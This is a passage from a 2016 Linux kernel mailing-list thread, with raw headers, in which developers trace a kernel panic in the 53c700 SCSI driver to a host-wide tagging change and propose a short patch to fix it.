> [   83.440000] scsi0: istat 09 sstat0 00 dstat 84 dsp 00ba[09f682e8] dsps 0x250
> [   83.440000] scsi0: (6:0) ====>SCRIPT INTERRUPT<====
> [   83.440000] scsi0 (6:0): message before command phase: 01 03 01 00 00 
> [   83.440000] Attempting to resume at 9f682e8
> [   83.710000] scsi0: istat 01 sstat0 00 dstat 84 dsp 00ac[09f682b0] dsps 0x380
> [   83.710000] scsi0: (6:0) ====>SCRIPT INTERRUPT<====
> [   83.710000] scsi0: (6:0), DISCONNECTED (3) after command phase
> [   83.920000] scsi0: istat 0a sstat0 10 dstat 00 dsp 00ac[09f682b0] dsps 0x380
> [   83.920000] scsi0:  Reselected by 6
> [   83.920000] Attempting to resume at 9f68038
> [   84.100000] scsi0: istat 09 sstat0 00 dstat 84 dsp 0012[09f68048] dsps 0x1003
> [   84.100000] scsi0: (255:255) ====>SCRIPT INTERRUPT<====
> [   84.100000] scsi0: (6:0) RESELECTED!
> [   84.100000] scsi 0:0:6:0: no saved request for untagged cmd
> [   84.360000] ------------[ cut here ]------------
> [   84.410000] kernel BUG at /home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/scsi/53c700.c:1129!
> [   84.520000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-32bit+ #323
> [   84.590000] task: 10732288 ti: 1072b000 task.ti: 1072b000
> [   84.660000] 
> [   84.680000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [   84.730000] PSW: 00000000000001001111111100001110 Not tainted
> [   84.800000] r00-03  0004ff0e 1077a24c 10438288 10735940
> [   84.860000] r04-07  19f63d80 00000000 09f68048 00000006
> [   84.930000] r08-11  19d5e000 19fa6c00 00000020 10669d30
> [   84.990000] r12-15  00000084 000000ff 00000000 00200000
> [   85.050000] r16-19  10735280 00000002 00000000 00000001
> [   85.110000] r20-23  00000001 0000000e 1077b24c 103cfbac
> [   85.180000] r24-27  00000000 0000000e 00000000 1072f030
> [   85.240000] r28-31  00000000 00000119 107359c0 103d2adc
> [   85.300000] sr00-03  00000000 00000000 00000000 00000000
> [   85.360000] sr04-07  00000000 00000000 00000000 00000000
> [   85.430000] 
> [   85.450000] IASQ: 00000000 00000000 IAOQ: 10438288 1043828c
> [   85.510000]  IIR: 03ffe01f    ISR: 00000000  IOR: 107359c0
> [   85.580000]  CPU:        0   CR30: 1072b000 CR31: f00effff
> [   85.640000]  ORIG_R28: 00000000
> [   85.680000]  IAOQ[0]: process_script_interrupt+0x7ac/0xdd8
> [   85.750000]  IAOQ[1]: process_script_interrupt+0x7b0/0xdd8
> [   85.810000]  RP(r2): process_script_interrupt+0x7ac/0xdd8
> [   85.880000] Backtrace:
> [   85.900000]  [<10439f1c>] NCR_700_intr+0xcf8/0x12c0
> [   85.960000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
> [   86.030000]  [<101a2d44>] handle_irq_event+0x4c/0x84
> [   86.090000]  [<101a5894>] handle_simple_irq+0x88/0xa8
> [   86.150000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
> [   86.210000]  [<10394924>] gsc_asic_intr+0x80/0xb4
> [   86.270000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
> [   86.340000]  [<101a61dc>] handle_percpu_irq+0x5c/0x88
> [   86.400000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
> [   86.460000]  [<10156688>] execute_on_irq_stack+0x40/0x70
> [   86.520000]  [<10156dcc>] do_cpu_irq_mask+0x19c/0x1e4
> [   86.580000]  [<1014a068>] intr_return+0x0/0xc
> [   86.630000]  [<101ac1f8>] hrtimer_run_queues+0x1f4/0x240
> [   86.700000] 
> [   86.720000] CPU: 0 PID: 0 Comm: swapper Not tainted 4.6.0-32bit+ #323
> [   86.790000] Backtrace:
> [   86.820000]  [<1015571c>] show_stack+0x18/0x28
> [   86.870000]  [<10351234>] dump_stack+0x28/0x38
> [   86.930000]  [<101558a8>] die_if_kernel+0x160/0x1d4
> [   86.990000]  [<10155e08>] handle_interruption+0x250/0x754
> [   87.050000]  [<103e6c08>] dev_vprintk_emit+0x194/0x1c8
> [   87.110000]  [<1043828c>] process_script_interrupt+0x7b0/0xdd8
> [   87.180000]  [<10438288>] process_script_interrupt+0x7ac/0xdd8
> [   87.250000]  [<10439f1c>] NCR_700_intr+0xcf8/0x12c0
> [   87.310000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
> [   87.380000]  [<101a2d44>] handle_irq_event+0x4c/0x84
> [   87.440000]  [<101a5894>] handle_simple_irq+0x88/0xa8
> [   87.500000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
> [   87.560000]  [<10394924>] gsc_asic_intr+0x80/0xb4
> [   87.620000]  [<101a2c00>] handle_irq_event_percpu+0x80/0x178
> [   87.680000]  [<101a61dc>] handle_percpu_irq+0x5c/0x88
> [   87.740000]  [<101a23f4>] generic_handle_irq+0x2c/0x44
> [   87.800000] 
> [   87.820000] Kernel panic - not syncing: Fatal exception in interrupt
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Fri, 10 Jun 2016 14:01:13 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1465592473.2224.52.camel@HansenPartnership.com>
References: <5759C524.2030009@gmx.de>
	 <1465511002.2259.19.camel@HansenPartnership.com>  <575B2239.4020403@gmx.de>
	 <1465592285.20724.173.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465592508 28217 80.91.229.3 (10 Jun 2016 21:01:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 21:01:48 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>
To: emilne@redhat.com, Helge Deller <deller@gmx.de>
Original-X-From: linux-scsi-owner@vger.kernel.org Fri Jun 10 23:01:38 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bBTYf-0004i3-OK
	for lnx-linux-scsi@plane.gmane.org; Fri, 10 Jun 2016 23:01:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932994AbcFJVBS (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Fri, 10 Jun 2016 17:01:18 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56492 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932296AbcFJVBQ (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Fri, 10 Jun 2016 17:01:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BFE3B8EE147;
	Fri, 10 Jun 2016 14:01:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1465592474;
	bh=zvJ0DhY0BYeawCLYpGOmCmWkzCIsod72SpMk0npX8c4=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=L6DW5ygjlCIIGR4KIjLWztvKSAT4ZAxGgLm7kCPSMR8bxnnTevvGNEEPeOTxK3Jcm
	 ruGDJ8rece00o6We/7+FiowpYNT80Vg3RzXlxrbKa7fSl69JvGdkyZXDVn/bViOlHl
	 aS9Pe34wnht/wdfl1t8XqNxiBGCw+Or0MtN3AtmU=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZUk-M1WrAnRK; Fri, 10 Jun 2016 14:01:14 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.46.144.141])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1D9698EE023;
	Fri, 10 Jun 2016 14:01:14 -0700 (PDT)
In-Reply-To: <1465592285.20724.173.camel@localhost.localdomain>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114269 gmane.linux.ports.parisc:26886
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114269>

On Fri, 2016-06-10 at 16:58 -0400, Ewan D. Milne wrote:
> I'm not sure if this is the problem, but the tagging changes to
> scsi_tcq.h may have altered the 53c700 driver's assumptions.
> In one case it sets sdev->current_cmnd and then some of the
> tagging calls would return it if the tag was SCSI_NO_TAG.
> 
> NCR_700_queuecommand_lck() does:
> 
>         if ((hostdata->tag_negotiated & (1<<scmd_id(SCp))) &&
>             SCp->device->simple_tags) {
>                 slot->tag = SCp->request->tag;
>                 CDEBUG(KERN_DEBUG, SCp, "sending out tag %d, slot
> %p\n",
>                        slot->tag, slot);
>         } else {
>                 slot->tag = SCSI_NO_TAG;
>                 /* must populate current_cmnd for scsi_host_find_tag
> to
> work */
>                 SCp->device->current_cmnd = SCp;
>         }

Thanks ... I was just about to look for something this.  I'd got to
interpreting the script as reselected with tag information present and
then trying to look the command up with no tag present, hence the
BUG().

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Fri, 10 Jun 2016 14:33:41 -0700
Lines: 80
Approved: news@gmane.org
Message-ID: <1465594421.2224.58.camel@HansenPartnership.com>
References: <5759C524.2030009@gmx.de>
	 <1465511002.2259.19.camel@HansenPartnership.com>  <575B2239.4020403@gmx.de>
	 <1465592285.20724.173.camel@localhost.localdomain>
	 <1465592473.2224.52.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465594441 24864 80.91.229.3 (10 Jun 2016 21:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 21:34:01 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: emilne@redhat.com, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 10 23:33:49 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bBU3m-0007KJ-P7
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Jun 2016 23:33:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752589AbcFJVdp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Jun 2016 17:33:45 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56644 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752342AbcFJVdo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Jun 2016 17:33:44 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 709298EE14C;
	Fri, 10 Jun 2016 14:33:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1465594423;
	bh=ZBU2N5q2Bop//Gi8BSBRaipudLRs3X1elbZlGeH9jFk=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=MZj7xs6LiO3LQ42d5t90d439j8Gbq8cxCKaAEcKt87IymB3asVy2Zgk/upVxY2DP3
	 rOHg1JkrU6PXaq+PvKm2mgSF9zERTmxRozK/gcmnJCTDOK1dgOXTivzHJHygmHvfsc
	 T78OxBo605bLcogsj7/EyjvIHnniEmGnXXV83feA=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TYg7ztRimG3o; Fri, 10 Jun 2016 14:33:43 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.46.144.141])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E56288EE147;
	Fri, 10 Jun 2016 14:33:42 -0700 (PDT)
In-Reply-To: <1465592473.2224.52.camel@HansenPartnership.com>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26887 gmane.linux.scsi:114271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26887>

On Fri, 2016-06-10 at 14:01 -0700, James Bottomley wrote:
> On Fri, 2016-06-10 at 16:58 -0400, Ewan D. Milne wrote:
> > I'm not sure if this is the problem, but the tagging changes to
> > scsi_tcq.h may have altered the 53c700 driver's assumptions.
> > In one case it sets sdev->current_cmnd and then some of the
> > tagging calls would return it if the tag was SCSI_NO_TAG.
> > 
> > NCR_700_queuecommand_lck() does:
> > 
> >         if ((hostdata->tag_negotiated & (1<<scmd_id(SCp))) &&
> >             SCp->device->simple_tags) {
> >                 slot->tag = SCp->request->tag;
> >                 CDEBUG(KERN_DEBUG, SCp, "sending out tag %d, slot
> > %p\n",
> >                        slot->tag, slot);
> >         } else {
> >                 slot->tag = SCSI_NO_TAG;
> >                 /* must populate current_cmnd for
> > scsi_host_find_tag
> > to
> > work */
> >                 SCp->device->current_cmnd = SCp;
> >         }
> 
> Thanks ... I was just about to look for something this.  I'd got to
> interpreting the script as reselected with tag information present 
> and then trying to look the command up with no tag present, hence the
> BUG().

Yes, you're right, it's

commit 64d513ac31bd02a3c9b69ef04444f36c196f9a9d
Author: Christoph Hellwig <hch@lst.de>
Date:   Thu Oct 8 09:28:04 2015 +0100

    scsi: use host wide tags by default

Again.  This time because it's transformation of the handling of
SCSI_NO_TAG is wrong.  You can't replace the return sdev->current_cmnd
original in scsi_find_tag with the NULL return in scsi_find_host_tag.

I think this changesets wins the prize for the greatest number of
generated faults.

Does this fix 53c700.c?

I suppose we'd better look for other places where no tag fell through
...

James

---

diff --git a/drivers/scsi/53c700.c b/drivers/scsi/53c700.c
index d4c2856..3ddc85e 100644
--- a/drivers/scsi/53c700.c
+++ b/drivers/scsi/53c700.c
@@ -1122,7 +1122,7 @@ process_script_interrupt(__u32 dsps, __u32 dsp, struct scsi_cmnd *SCp,
 		} else {
 			struct scsi_cmnd *SCp;
 
-			SCp = scsi_host_find_tag(SDp->host, SCSI_NO_TAG);
+			SCp = SDp->current_cmnd;
 			if(unlikely(SCp == NULL)) {
 				sdev_printk(KERN_ERR, SDp,
 					"no saved request for untagged cmd\n");
@@ -1826,7 +1826,7 @@ NCR_700_queuecommand_lck(struct scsi_cmnd *SCp, void (*done)(struct scsi_cmnd *)
 		       slot->tag, slot);
 	} else {
 		slot->tag = SCSI_NO_TAG;
-		/* must populate current_cmnd for scsi_host_find_tag to work */
+		/* save current command for reselection */
 		SCp->device->current_cmnd = SCp;
 	}
 	/* sanity check: some of the commands generated by the mid-layer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Fri, 10 Jun 2016 14:43:52 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <1465595032.2224.59.camel@HansenPartnership.com>
References: <5759C524.2030009@gmx.de>
	 <1465511002.2259.19.camel@HansenPartnership.com>  <575B2239.4020403@gmx.de>
	 <1465592285.20724.173.camel@localhost.localdomain>
	 <1465592473.2224.52.camel@HansenPartnership.com>
	 <1465594421.2224.58.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465595051 1193 80.91.229.3 (10 Jun 2016 21:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 21:44:11 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: emilne@redhat.com, Helge Deller <deller@gmx.de>
Original-X-From: linux-scsi-owner@vger.kernel.org Fri Jun 10 23:43:58 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bBUDc-0003xB-Pu
	for lnx-linux-scsi@plane.gmane.org; Fri, 10 Jun 2016 23:43:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752100AbcFJVnz (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Fri, 10 Jun 2016 17:43:55 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:56764 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751354AbcFJVnz (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>);
	Fri, 10 Jun 2016 17:43:55 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0A1508EE147;
	Fri, 10 Jun 2016 14:43:54 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1465595034;
	bh=7BBi8uiwwEHJhnEJitgNzd8+LwfGss2z+5xJl5JLKQI=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=IYSvjRvoV6GxfSTWWjriY6nt+YzjNfPygIj3743H+ueEOJHa7iAKV45xivR1owdg3
	 wqeTviLHvD846V7FbGQvkfr1KnQoYpfTP0abbxIL9VuMPiyP4OUpskE1EEh4I2ThI2
	 K7IK4uMWW82lAsWT/BMOtQarYX+GlITeLHSvW940=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WWpajhxml6mG; Fri, 10 Jun 2016 14:43:53 -0700 (PDT)
Original-Received: from [153.66.254.194] (unknown [50.46.144.141])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 78EF18EE023;
	Fri, 10 Jun 2016 14:43:53 -0700 (PDT)
In-Reply-To: <1465594421.2224.58.camel@HansenPartnership.com>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114275 gmane.linux.ports.parisc:26888
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114275>

On Fri, 2016-06-10 at 14:33 -0700, James Bottomley wrote:
> On Fri, 2016-06-10 at 14:01 -0700, James Bottomley wrote:
> > On Fri, 2016-06-10 at 16:58 -0400, Ewan D. Milne wrote:
> > > I'm not sure if this is the problem, but the tagging changes to
> > > scsi_tcq.h may have altered the 53c700 driver's assumptions.
> > > In one case it sets sdev->current_cmnd and then some of the
> > > tagging calls would return it if the tag was SCSI_NO_TAG.
> > > 
> > > NCR_700_queuecommand_lck() does:
> > > 
> > >         if ((hostdata->tag_negotiated & (1<<scmd_id(SCp))) &&
> > >             SCp->device->simple_tags) {
> > >                 slot->tag = SCp->request->tag;
> > >                 CDEBUG(KERN_DEBUG, SCp, "sending out tag %d, slot
> > > %p\n",
> > >                        slot->tag, slot);
> > >         } else {
> > >                 slot->tag = SCSI_NO_TAG;
> > >                 /* must populate current_cmnd for
> > > scsi_host_find_tag
> > > to
> > > work */
> > >                 SCp->device->current_cmnd = SCp;
> > >         }
> > 
> > Thanks ... I was just about to look for something this.  I'd got to
> > interpreting the script as reselected with tag information present 
> > and then trying to look the command up with no tag present, hence
> > the
> > BUG().
> 
> Yes, you're right, it's
> 
> commit 64d513ac31bd02a3c9b69ef04444f36c196f9a9d
> Author: Christoph Hellwig <hch@lst.de>
> Date:   Thu Oct 8 09:28:04 2015 +0100
> 
>     scsi: use host wide tags by default
> 
> Again.  This time because it's transformation of the handling of
> SCSI_NO_TAG is wrong.  You can't replace the return sdev
> ->current_cmnd
> original in scsi_find_tag with the NULL return in scsi_find_host_tag.
> 
> I think this changesets wins the prize for the greatest number of
> generated faults.
> 
> Does this fix 53c700.c?
> 
> I suppose we'd better look for other places where no tag fell through
> ...

OK, I checked: snic and fnic use SCSI_NO_TAG but they don't save
anything in current_cmnd, so they can't rely on the original behaviour.
 I think we'll be safe with a local change in 53c700.c

James


--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: kernel BUG in drivers/scsi/53c700.c:1129
Date: Fri, 10 Jun 2016 23:46:53 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <575B354D.3090901@gmx.de>
References: <5759C524.2030009@gmx.de>
 <1465511002.2259.19.camel@HansenPartnership.com> <575B2239.4020403@gmx.de>
 <1465592285.20724.173.camel@localhost.localdomain>
 <1465592473.2224.52.camel@HansenPartnership.com>
 <1465594421.2224.58.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1465595291 4788 80.91.229.3 (10 Jun 2016 21:48:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Jun 2016 21:48:11 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linux-scsi <linux-scsi@vger.kernel.org>,
	Christoph Hellwig <hch@infradead.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	"emilne@redhat.com" <emilne@redhat.com>
Original-X-From: linux-scsi-owner@vger.kernel.org Fri Jun 10 23:47:57 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1bBUHA-00023Z-3L
	for lnx-linux-scsi@plane.gmane.org; Fri, 10 Jun 2016 23:47:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752537AbcFJVre (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Fri, 10 Jun 2016 17:47:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:52644 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752216AbcFJVre (ORCPT <rfc822;linux-scsi@vger.kernel.org>);
	Fri, 10 Jun 2016 17:47:34 -0400
Original-Received: from [192.168.20.60] ([92.203.6.125]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0M5uLh-1bMPNW2YQL-00xsLf; Fri, 10 Jun 2016 23:46:55
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1465594421.2224.58.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:514ON87vvjYLkmWcuzgMt0bPG1lAjp8Y6p+rF94wtyc80K+nVng
 W53WOqPzA4Ky2g9GsCFO01VZsNts7eOZQVkuUsV7eUqv9dpTxR934eglQrPXr7+YMSeOXk1
 jtVohMHGWP5XssKng9o4Nu64ELIA17j/SLXyGL4L9gh9vLwp1IPJaN1G0tH7vS6VBsM4cAD
 qlFEU0kD+35NErsUfeI4g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:15cX0wasSMo=:2KlupsjeT5s/szs1dCOxgW
 U5kvoY7cEebEJLra9tY/vUvUlWmzy1K6rlDaiQD3+Pb3i4K9qAla9xT+JoJ5zRJ7Ip37RU8fd
 LsXAvxqFIAFsLMGRg7FxLAliYYsprvnST6T84mwYN30quC3snQ8NeUmxz4VwBswO0AQX2tWCs
 qWwGwC5PbUqlEDfabpH7CVRDXcgNjDm4HZoE0MLJmdftSfCeFwrZuYsXlIZrDsf1HsjpU2eoN
 Np1/7oNoxSONzU4mvLhN0459/w5YfRexV3oYP0gqrnuj9vMkqLS40CNGrViU9qaGumbaqIckX
 2L2v4GK/wC1IQ1SY+2/0I+7FYmLMY1Potchv+QBOrgaKa2J2vYA/qpd8yQ+Lvw4fv6jr+D486
 9O9DDUCCXbHROYv0gU48Lkc5kwOvA7eoJykAlNHKAx/rteE0jrhFQWCsUst0eSkkj9ccTkls9
 AwGIBAPg/r7K16fnKYCMsMa2Tl4n0Qj7IPLJIornbiVUtN4TJpTLiL3QJQ7R2K0HnGyalr0Fs
 GZYgUEck93qOz1cfJgBJsQywzM29BA4H0azFhoxv8DlIvHsXdI+OsMgJ02WUftUJ8g7chCu/i
 2S2CcaZ+vKhYd0MH6/uqk3HeSG37RHqUuDA1LzUsZxTifca4Sk+j72xpm1r7iTZS0aKOe+GwI
 WBRp1EaRholEkYpSGIKgSv4ekwl3bZQ1XMZCSTTZ/Y+2xkJ5mi5KP/lhkitNday4xJl9wFEam
 W6K0ruakuWzdPZ7dH7csASdko42W3xlsLyMgDfyTlkL6sHTb2p6V60xyQQHQRehs5MGEJekO 
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:114276 gmane.linux.ports.parisc:26889
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/114276>

On 10.06.2016 23:33, James Bottomley wrote:
> On Fri, 2016-06-10 at 14:01 -0700, James Bottomley wrote:
>> On Fri, 2016-06-10 at 16:58 -0400, Ewan D. Milne wrote:
>>> I'm not sure if this is the problem, but the tagging changes to
>>> scsi_tcq.h may have altered the 53c700 driver's assumptions.
>>> In one case it sets sdev->current_cmnd and then some of the
>>> tagging calls would return it if the tag was SCSI_NO_TAG.
>>>
>>> NCR_700_queuecommand_lck() does:
>>>
>>>         if ((hostdata->tag_negotiated & (1<<scmd_id(SCp))) &&
>>>             SCp->device->simple_tags) {
>>>                 slot->tag = SCp->request->tag;
>>>                 CDEBUG(KERN_DEBUG, SCp, "sending out tag %d, slot
>>> %p\n",
>>>                        slot->tag, slot);
>>>         } else {
>>>                 slot->tag = SCSI_NO_TAG;
>>>                 /* must populate current_cmnd for
>>> scsi_host_find_tag
>>> to
>>> work */
>>>                 SCp->device->current_cmnd = SCp;
>>>         }
>>
>> Thanks ... I was just about to look for something this.  I'd got to
>> interpreting the script as reselected with tag information present 
>> and then trying to look the command up with no tag present, hence the
>> BUG().
> 
> Yes, you're right, it's
> 
